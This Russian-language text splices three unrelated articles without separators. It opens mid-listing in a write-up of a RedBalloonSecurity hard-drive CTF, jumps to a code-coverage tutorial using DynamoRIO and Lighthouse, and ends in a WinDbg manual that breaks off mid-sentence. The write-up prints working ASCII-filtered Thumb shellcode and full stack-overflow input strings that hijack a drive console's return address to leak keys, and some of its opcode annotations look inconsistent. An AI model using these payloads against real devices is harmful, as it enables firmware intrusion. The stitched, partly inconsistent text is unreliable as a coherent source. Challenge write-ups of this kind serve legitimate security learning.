generate_key+58p132. ROM:00332DEC                                         ; generate_key+74j ...133. ROM:00332DEC                 ADD             SP, SP, #0x20134. ROM:00332DF0                 LDR             LR, [SP],#4135. ROM:00332DF4                 BX              LR136. ROM:00332DF8137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================

На LEVEL2 (level_2.html), в самом начале, на строке 18, мы уменьшаем значение в SP на 0х10 байт. На строке 133 мы завершаем функцию, при этом прибавляя 0х20 байт. Инструкция на строке 134

LDR LR, [SP],#4

забавная. В ней мы уменьшаем стек на 4 байта, лезем по этому адресу в память, и сохраняем содержимое в LR. Что происходит с LR - не важно. Важно лишь то, что значение в SP увеличилось на 4 байта.

Делаем вот такую обратную математику:

0x002C7BCC + 0х10 = 0x002C7BDC0x002C7BDC - 0x20 = 0x002C7BBC0x002C7BBC - 0x04 = 0x002C7BB8

0x002C7BB8 и есть значение в SP на момент старта функции generate_key. Теперь делаем расчеты из LEVEL3. Здесь, перед копированием вводимых символов, мы увеличиваем стек (отнимаем адрес) на 0х90 байт. Здесь уже применяем прямую математику:

0x002C7BB8 - 0х90 = 0x002C7B28

Итак, мы получили адрес, куда будет копироваться наш ввод. Ах да, не забываем об еще одной очень важной вещи - наш первый вводимый символ это "R" - он является триггером функции, но не является частью нашего будущего шеллкода. Избавится от него мы не можем, да и нам это не нужно. Просто немножко сдвинуть адрес вперед будет достаточно

• Сдвиг на 1 байт не сработает поскольку мы имеем дело с little endian архитектурой. Помним, что наши инструкции имеют размер в 2 байта. Делая такой маленький сдвиг, мы рискуем "захватить" предыдущий символ "R" как инструкцию для процессора и наш шеллкод не сработает.

• Сдвиг на 2 байта тоже не сработает. Причина тому - парность адреса. В предыдущей статье у меня был абзац, где я рассказывал, что семейство Branch (B) инструкций с параметром Exchange (X) совершат смену режима. Если адрес будет парным, мы сменим режим на ARM, где будем иметь 4 байта на инструкцию. Писать шеллкод под ASCII фильтр куда проще имея 2 байта на инструкцию, чем 4 (вероятность напороться на non-ASCII опкод в 2 раза ниже). Поэтому, для простоты, лучше оставаться в Thumb.

• Сдвиг на 3 байта это именно то, что нам нужно.

0x002C7B28 + 0x03 = 0x002C7B2B

Надо же, в итоге мы получили адрес, который идеально поместится в ASCII диапазон. Последним байтом оказался 0x2B - это ASCII "+".

Что же, нам осталось рассчитать количество вводимых в консоль символов таким образом, чтоб возврат из generate_key направил исполнение кода на адрес 0x002C7B2B. Помним, что на строках 138-140 из level_3.html мы увеличивали адрес стека на 0xA0 (160) байт. И, увеличивали еще на 4 байта когда снимали значение со стека в LR.

Не забываем о новой строке 0x0D - она тоже часть нашего ввода. В процессе исполнения программы, она превратится в 0x00. Итого, количество вводимых символов должно быть 160 + 4 - 1 = 163. Адрес в конце мы должны написать в обратном порядке байт из-за little endian архитектуры. Получится 0x2B 0x7B 0x2C - ASCII ",{+". В итоге, введем что-то похожее на вот это:

RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+{,

Тестим шеллкод

Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).

Для этого, нужно собрать keystone. Что же, идем в репу https://github.com/keystone-engine/keystone, смотрим инструкцию по сборке и собираем.

user@ubuntu:~/Desktop$ git clone https://github.com/keystone-engine/keystoneCloning into 'keystone'...remote: Enumerating objects: 6806, done.remote: Counting objects: 100% (84/84), done.remote: Compressing objects: 100% (66/66), done.remote: Total 6806 (delta 18), reused 51 (delta 14), pack-reused 6722Receiving objects: 100% (6806/6806), 11.78 MiB | 1.84 MiB/s, done.Resolving deltas: 100% (4617/4617), done.user@ubuntu:~/Desktop$ cd keystone

Не забываем применить патч из LEVEL2.

user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patchFrom 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)     if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-+         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 }@@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-+     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) {+    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;--1.9.1

Патч выглядит большим, но в нем у нас меняется всего навсего одна строка в файле llvm/keystone/ks.cpp. Патч был создан для какой-то старой версии keystone и в нем не совпадают номера строк. Нам прийдется отыскать похожее место в коде, и сделать изменения ручками. На момент написания этой публикации, это строка 305 (функция ks_open, кусок switch/case, условие параметров препроцессора KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB). Меняем с

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "thumbv7";306.                break;

на

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "armv5te";306.                break;

Инструкция по сборке говорит нам, что нужен cmake. Метапакет build-essential обязательно должен быть установлен. Ставим все через apt get install.

Создаем папку build в корне keystone, переходим в нее, и запускаем скрипт билда с уровня директорий выше.

user@ubuntu:~/Desktop/keystone$ mkdir builduser@ubuntu:~/Desktop/keystone$ cd builduser@ubuntu:~/Desktop/keystone/build$ ../make-share.sh

Процесс конфигурации может проходить по разному на разных системах. В моем случае было много предупреждений, но ошибок не было. Дальше, компилируем и устанавливаем keystone. Не забываем об sudo - мы ведь библиотеку устанавливаем. Ах да, прогнать ldconfig - обязательно!

user@ubuntu:~/Desktop/keystone/build$ sudo make installuser@ubuntu:~/Desktop/keystone/build$ sudo ldconfig

Ииии, на этом всё! В корне у keystone есть папочка samples. Там есть пример использования keyston-овских функций. Единственный С-шный файл - sample.c. В нем есть main функция, которая запускает кучу функций test_ks с разными параметрами. Если мы триггернем make в этой папке, получим бинарник sample. Запустив его - получим огромную пачку скомпилированных опкодов для разных архитектур. Если вы увидели этот огромный вывод от sample, значит все собралось правильно.

user@ubuntu:~/Desktop/keystone/build$ cd ../samplesuser@ubuntu:~/Desktop/keystone/samples$ makecc -o sample sample.c -lkeystone -lstdc++ -lmuser@ubuntu:~/Desktop/keystone/samples$ ./sampleadd eax, ecx = 66 01 c8Assembled: 3 bytes, 1 statementsadd eax, ecx = 01 c8Assembled: 2 bytes, 1 statements...

Дабы не ломать примеры, продублируем sample.c в, к примеру, lv3.c, и заменим его в Makefile:

user@ubuntu:~/Desktop/keystone/samples$ cp sample.c lv3.c

Наш Makefile должен выглядеть вот так:

user@ubuntu:~/Desktop/keystone/samples$ cat Makefile# Sample code for Keystone Assembler Engine (www.keystone-engine.org).# By Nguyen Anh Quynh, 2016.PHONY: all cleanKEYSTONE_LDFLAGS = -lkeystone -lstdc++ -lmall:${CC} -o lv3 lv3.c ${KEYSTONE_LDFLAGS}clean:rm -rf *.o lv3

Открываем lv3.c, и убираем кучу лишнего из main. Нас интересует лишь одна из этих функций - архитектура ARM, режим Thumb, little endian. В качестве примера, возьмем инструкцию прыжка на содержимое в R7 и R3 . Итоговая main должна выглядеть вот так:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r7", 0);    return 0;}

Собираем и запускаем.

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3bx r3 = 13 ff 2f e1Assembled: 4 bytes, 1 statementsbx r7 = 17 ff 2f e1Assembled: 4 bytes, 1 statements

Огоо! Мы получили 4 байта на инструкцию вместо 2х. Что же происходит? На самом деле, причина такого поведения keystone мне до сих пор не известна. Мы напрямую указали keystone собирать Thumb опкоды, а получили какое-то 4х байтовое г. Патч вполне мог быть причиной - может ребята из RedBalloonSecurity хотели чтоб я написал именно ARM шеллкод - это было бы очень профессионально. Патч я решил не убирать, и в конце концов, решил эту проблему через big endian. Мне пришлось сменить main вот так, чтоб получить желаемое:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r7", 0);    return 0;}

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3cc -o lv3 lv3.c -lkeystone -lstdc++ -lmbx r3 = 47 18Assembled: 2 bytes, 1 statementsbx r7 = 47 38Assembled: 2 bytes, 1 statements

Вот теперь красота. Правда только, в обратном порядке байт.

Неужели готово?

То есть, что мы получили? Мы ввели желаемую операцию, получили ее опкод, и теперь нам нужно проверить, пройдет ли этот опкод ASCII фильтр. Смотрим на опкоды, и идем вот сюда http://www.asciitable.com. Еще есть очень удобный конвертор https://www.rapidtables.com/convert/number/hex-to-ascii.html

В нашем примере, инструкция BX R3 имеет опкод 0x18 0x47. Судя по ASCII таблице, первая цифра это какой-то CANCEL. Я уж точно не введу такое в консоль. Второй символ 0х47 даже не смотрим. Эта операция не пройдет ASCII фильтр, и мы не можем использовать ее в шеллкоде.

А вот BX R7 имеет опкод 0x38 0x47. Судя по ASCII таблице это "8" и "G". Вот это будет работать, и мы можем написать такое в шеллкод.

Надеюсь, все поняли что такое ASCII фильтр, и чем мы тут занимаемся :)

Пишем

Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод - это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.

Мы уже пытались использовать инструкцию BX R3 - она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:

MOV R5, R3  = 0x46 0x1D  = "F "BX R5       = 0x28 0x47  = "(G"

Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей - то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности - когда мы пишем шеллкод, у нас полная свобода!

Первый

1. STR R3, [R7]  = 0x3B 0x60  = ";`"2. LDR R5, [R7]  = 0x3D 0x68  = "=h"3. BX R5         = 0x28 0x47  = "(G"

1. Сохраняем адрес pfintf в память, куда указывает R7

2. Подгружаем адрес printf из памяти в R5

3. Триггерим printf

Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ - обязательно будет "R", второй - не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке - туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.

F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,WRITE_READ_VERIFY_ENABLEDLED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно - мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies & Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь - поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого - только ребут жесткого диска по питанию.

Второй

Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:

...079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0...091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1...105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2...

Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны. В качестве Thumb-овских аналогов, для LDREQ есть простой LDR, а для EOREQ есть EORS (это не совсем аналоги, но для наших целей - сойдут).

Пробуем сделать второй ключ:

1. STR R3, [R7]       = 0x3B 0x60   = ";`"2. LDR R5, [R7]       = 0x3D 0x68   = "=h"3. LDR  R1, [R4, #4]  = 0x61 0x68   = "ah"4. EORS R1, R0        = 0x41 0x40   = "A@"5. STR R1, [R7]       = 0x39 0x60   = "9`"6. LDR R0, [R7]       = 0x38 0x68   = "8h"7. BX R5              = 0x28 0x47   = "(G"

1. Сохраняем адрес pfintf в память, куда указывает R7

2. Подгружаем адрес printf из памяти в R5

3. Грузим второй ключ по правилам из level_3.html в R1

4. Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов

5. Сохраняем его в память, куда указывает R7

6. Подгружаем его в R0

7. Триггерим printf

Все инструкции проходят фильтр. Пробуем и радуемся - вот наш второй ключ!

F3 T>R!;`=hahA@9`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,DOWNLOAD_MICROCODE_FUTURE_USE_ONLYLED:000000EE FAddr:002C7B5CLED:000000EE FAddr:002C7B5C

Третий

Для третьего ключа, делаем похожее:

1. STR R3, [R7]       = 0x3B 0x60 = ";`"2. LDR R5, [R7]       = 0x3D 0x68 = "=h"3. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"4. EORS R1, R0        = 0x41 0x40 = "A@"5. LDR R2, [R4, #8]   = 0xA2 0x68 = "h"6. EORS R2, R1        = 0x4A 0x40 = "J@"7. STR R2, [R7]       = 0x3a 0x60 = ":`"8. LDR R0, [R7]       = 0x38 0x68 = "8h"9. BX R5              = 0x28 0x47 = "(G"

Опа! Инструкция на строке 5 не пройдет фильтр из-за символа "". Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:

F3 T>Input_Command_ErrorF3 T>

Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутится, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).

ADDS R4, #4   = 0x04 0x34 = " 4"

Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?

ADDS R4, #44  = 0x2c 0x34 = ",4"SUBS R4, #40  = 0x28 0x3c = "(<"

Вау! Должно сработать. Делаем парочку изменений:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR  R1, [R4, #4]  = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. STR R2, [R7]       = 0x3a 0x60 = ":`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

F3 T>R!;`=hahA@,4(<bhJ@:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,TraceBufferControlFlags1_37LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну ничего себе! У нас получилось. Это наш третий ключик!

Четвертый

Идем по тому же пути:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. ADDS R4, #44       = 0x30 0x34 = ",4"10. SUBS R4, #40       = 0x28 0x3c = "(<"11. LDR R3, [R4, #4]   = 0x63 0x68 = "ch"12. EORS R3, R2        = 0x53 0x40 = "S@"09. STR R3, [R7]       = 0x3b 0x60 = ";`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

Вводим:

F3 T>R!;`=hahA@,4(<bhJ@,4(<chS@;`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,${SORRY_HABR_DONT_WANT_TO_LEAK_KEY}LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть - 16 возможных комбинаций. Такое брутфорсится в ручном режиме.

user@ubuntu:/media/user/LEVEL3$ 7z x final_level.lod.7z.encrypted7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)Scanning the drive for archives:1 file, 653959 bytes (639 KiB)Extracting archive: final_level.lod.7z.encrypted--Path = final_level.lod.7z.encryptedType = 7zPhysical Size = 653959Headers Size = 151Method = LZMA:20 7zAESSolid = -Blocks = 1Enter password (will not be echoed):Everything is OkSize:       1014784Compressed: 653959user@ubuntu:/media/user/LEVEL3$ file final_level.lodfinal_level.lod: data

Стоит оговорится, что наш шеллкод может быть еще круче. Мы можем сформировать format string типа "%s%s%s%s", разместить его где-то в памяти, передать его адрес через R0, а в остальные регистры расставить ключи. У нас целых 0x90 байт для шеллкода. Но, раз уж мы решили левел, двигаем дальше.

1337

Финалочка. Прошив диск файлом final_level.lod мне открылся раздел диска с названием 1337. Мы очень близки к награде! Содержимое раздела:

user@ubuntu:/media/user/1337$ file *level4_instructions.txt:   ASCII textcongrats.pdf.7z.encrypted: 7-zip archive data, version 0.3

Наша инструкция:

user@ubuntu:/media/user/1337$ cat level4_instructions.txtAlmost...Enter the following commands:1. /52. B,,,,1,1BEE-BOOP-BAP-BOOP-BEE-BOOP

Нам ничего не остается как ввести это в консоль диска. Результат смотрите на видео:

Никогда не мог подумать, что слушать азбуку морзе и параллельно записывать точки и тире окажется на столько сложно. Пришлось позакрывать рты всем, кто находился со мной в комнате и воспользоватся айфоновским диктофоном :D

Точки и тире были очень различимы на графике. Таким образом я получил пароль от последнего файла. На pdf-ке был счастливый единорог на радужном фоне, координаты офиса ребят в NYC и email адрес компании для тех, кто решил диск. А также, приватный и публичный ключи от BTC кошелька с обещанной наградой. Я скачал биткоин клиент Electrum, и подписал транзакцию, которая перевела все 0.1337 BTC на мой кошелек. В наше время, без пруфов никуда. Поэтому, воть:

https://www.blockchain.com/btc/address/1JKXc7mv3HLAWVZJNMMK5sMCMvMUhUyqt5

Эпилог

Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity - pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!

Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделится этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций. Наверное, всех интересует вопрос, получил ли я работу в Нью Йорке... мне хочется сделать из этого тайну а-ля в фильме "Начало" Кристофера Нолана. Юла пускай крутится, а зритель... будет сам думать, во сне это, или на яву.

Спасибо за ваши просмотры и лайки. Подписывайтесь на инсту o.tkachuk, хотя бы иногда тыкайте reddit, и держите свои HDD подальше от этих ребят. Всем спасибо за внимание!

Покрытие кода - процедура, которая помогает исследователям понять, насколько много фрагментов алгоритма приложения задействовано в обработке данных. Обычно эта процедура используется для того, чтобы найти уязвимые места программного обеспечения. В этой статье мы на практике посмотрим, как можно использовать этот инструмент для упрощения процедуры исследования кода приложения.

Набор инструментов и настройка стенда

Для того, чтобы настроить стенд и подобрать набор инструментов для анализа приложения, нужно разобраться, как работает процедура определения покрытия кода. Покрытие кода обычно определяется количеством задействованных строк исходного кода в процессе работы приложения над подаваемыми данными. Эти данные могут быть представлены файлом, куском оперативной памяти или просто сетевым пакетом: они выбираются на основании алгоритма приложения. Вот такой пример исследования кода можно нагуглить за несколько секунд:

Все просто - части кода могут быть выделены цветом только в том случае, если эта часть алгоритма была выполнена в ходе обработки данных. Иногда можно встретить статистическое описание с количеством подходов к выполнению строк, но это работает, если мы говорим о исследовании покрытия с исходным кодом. В статье мы будем концентрироваться на определении покрытия кода без наличия исходного кода приложения.

Какой в данном случае подход к исследованию приложения? Необходимо определиться с базовой единицей, которая будет описывать фрагмент алгоритма, и затем с помощью условных точек останова отладчика посчитать, сколько раз алгоритм проходил через эти базовые единицы. В результате можно увидеть покрытие кода. Очень часто покрытие показывают в количественном соотношении всех единиц алгоритма относительно тех, которые работали за один запуск приложения. Для примера приведем картинку таких исследований ниже:

На картинке в качестве базовых единиц используется количество базовых блоков из dll библиотек ОС Windows. Также можно брать в качестве базовых единиц:

• строку дизассемблированного листинга

• базовый блок алгоритма, обычно это строки дизассемблированного листинга между условными переходами (джампами)

• блоки между инструкциями вызовов функций - call

Для простоты будем использовать в статье подход к исследованию с использованием следующей базовой единицы - дизассемблированный код между условными переходами. Настало время определиться с инструментами.

Описание стенда и набора инструментов

Для исследований приложений будем пользоваться:

1. IDA Pro в качестве навигатора по дизассемблированному коду

2. Проект DinamoRIO как инструмент построения покрытия кода

3. Плагин IDA Pro LightHouse как инструмент визуализации покрытия кода для исследования алгоритма

4. Виртуальная машина Windows 10

5. Virtual Box в качестве среды виртуализации

План исследования будет очень прост. Берем рандомное приложение из набора CrackMe. Будем пользоваться вот этим ресурсом. Чтобы не разбираться с тем, как передать данные приложению, желательно выбирать CrackMe, которые принимают параметры из командной строки - так будет проще запускать инструменты для покрытия кода. Вообще это не ограничение, при желании можно написать обертку и просто передавать ей параметры. Но так как мы хотим проверить работоспособность нашего подхода к исследованию, будем использовать наименее трудозатратный подход. В качестве подопытного образца возьмем вот это приложение.

Практика

При установке инструментов особых сложностей возникнуть не должно. Проблемы могут появиться при настройке плагина для IDA Pro. Чтобы его установить, нужно сделать следующие действия:

• Открыть исследуемый файл в IDA Pro

• В строке IDAPython набрать команду: idaapi.get_user_idadir()

• Полученный путь скопировать в проводник, если в результирующей директории нет директории plugins, создать её

• скопировать содержимое директории репозитория plugins в директорию, созданную в предыдущем шаге

• перезапустить IDA Pro

После успешной установки, должно появиться дополнительная опция в меню File:

Теперь можно приступать к сбору данных о приложении. Для сбора информации о покрытии кода, будем использовать инструмент drrun.exe с плагином drcov. Результирующая командная строка будет выглядеть так:

drrun -t drcov -logdir ./ --  KeygenMe.exe

Выбирать инструмент drrun нужно в соответствии с разрядностью исследуемого файла, так как в релизной версии DinamoRIO есть несколько версий приложения. В нашем случае берем инструмент из bin32. В результате в директории будет создан файл с расширением ".proc". Это файл с информацией о покрытии кода. Его нужно загузить в IDA Pro через опцию, котрая появилась после установки плагина. Результат представлен ниже на снике:

Цетовая схема показывает какие участки кода работали чтобы алгоритм мог обработать подаваемые данные.

Кстати, если перевести в режим декомпиляции, то цветовая схема сохраняется. Теперь наглядно видно, какие условия у нас уже отработали и какие условия еще не запускались.

Выводы

Используя методы покрытия кода, можно ускорить процесс исследования приложения. Собранные профилирующие данные помогают исследовать алгоритм более полно и показывают, как работает алгоритм наглядно.

Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса Reverse-Engineering. Professional.

Всех желающих приглашаем принять участие в бесплатном двухдневном интенсиве по теме: "Пишем дампер процессов"

• День 1: написание PE анализатора, анализ заголовков, парсинг секций

• День 2: методы восстановления таблицы импорта. Поиск загруженных библиотек, восстановление

Статья представляет собой мануал по тому как пользоваться Windbg. Будет рассмотрена "классическая" версия отладчика. Настроим внешний вид и изучим команды, которые можно использовать для исследования приложения.

Установка

Установка возможна только при использовании Windows SDK. Версию для Windows 10 можно найти здесь. Для работы с отладчиком необходимо запустить процесс установки SDK и выбрать только опции с набором инструментов для отладки. Пример выбора представлен на снимке ниже.

После установки набора инструментов, можно найти все файлы в директории "Windows Kits". Отладчик устанавливается сразу для нескольких версий процессоров. Для выполнения дальнейших команд в мануале нужно выбирать соответствую исследуемому файлу архитектуру процессора. Для исследования возьмем вот этот файл и попробуем найти ключ. Перед началом исследования файла, рекомендуется сделать дополнительную настройку:

• Установить директорию и сервер для отладочных символов Проще всего это сделать можно через меню: File->Symbol File Path. В открывшемся меню нужно прописать вот эту строку: "SRVC:\symbolshttp://msdl.microsoft.com/download/symbols". Затем создать директорию C:\symbols;

• Установить WorkPlace с удобной раскладкой рабочих панелей. Взять готовый Workspace можно отсюда. В итоге, если запустить для теста notepad.exe в отладчике, он будет выглядеть вот так:

Теперь можно перейти к исследованию команд. Откроем в отладчике файл и приступим.

Набор команд и анализ приложения

Полный справочник по всем командам отладчика можно найти по команде ".hh". Появится справка, как на рисунке ниже. Здесь можно вводить описание или конкретную команду.

Любой набор команд, который можно представить просто списком не имеет большой полезности, поэтому все команды, которые будут описываться в статье, будут сопровождаться примером применения. Начнем с простого.

1. Определим откуда начинается выполнение приложения. Если не вдаваться в подробности, то самое начало работы приложения это EntryPoint из заголовка файла, однако это не совсем так. EntryPoint для современных языков программирования сегодня это начало подготовительных операций для работы всего приложения. Поэтому если необходимо найти код, который был написан программистом, нам придется еще немного попутешествовать по дизасемблированному листингу.

Первая команда - lm. Показывает список модулей, которые загружены в память процесса, по выдаче этой команды можно получить базовый адрес файла.

Главные команды, которые станут глазами и ушами при исследовании данных в оперативной памяти - d? (b,c,a,p,w,q). Команда показывает дамп памяти по указанному адресу. Можно использовать конкретный адрес или регистр. Например, можно посмотреть как выглядит часть заголовка файла в памяти:

Команда !dh разбирает файл и показывает заголовки. Нам нужен файловый заголовок, поэтому добавим флаг -f. Если необходимо показать все данные о файловых и секционных заголовках, то можно не дополнять команду.

Как видно на рисунке, данные, которые выдает команда, могут быть использваны для локализации данных внутри файла.

Локализуем точку входа с помощью суммирования базового адреса и информации из заголовка. Выполнить эту опирацию можно рядом команд: ? - выполнение выражения, uf - дизассемблирование функции, bp - установка точки останова. А теперь по порядку на примере:

Расчет адреса.

Дизассемблирование функции от адреса до ret команды.

Установка точки останова, кстати, чтобы управлять точками останова, можно менять последнюю букву команды. На рисунке показан пример установки точки останова и просмотр списка существующих точек через команду bl.

Чтобы дойти до точки останова, можно ввести команду, которая используется для выполнения алгоритма приложения - g.

Как только алгоритм загрузчика ОС выполнит все подготовительные действия мы увидим в командной строке следующие данные:

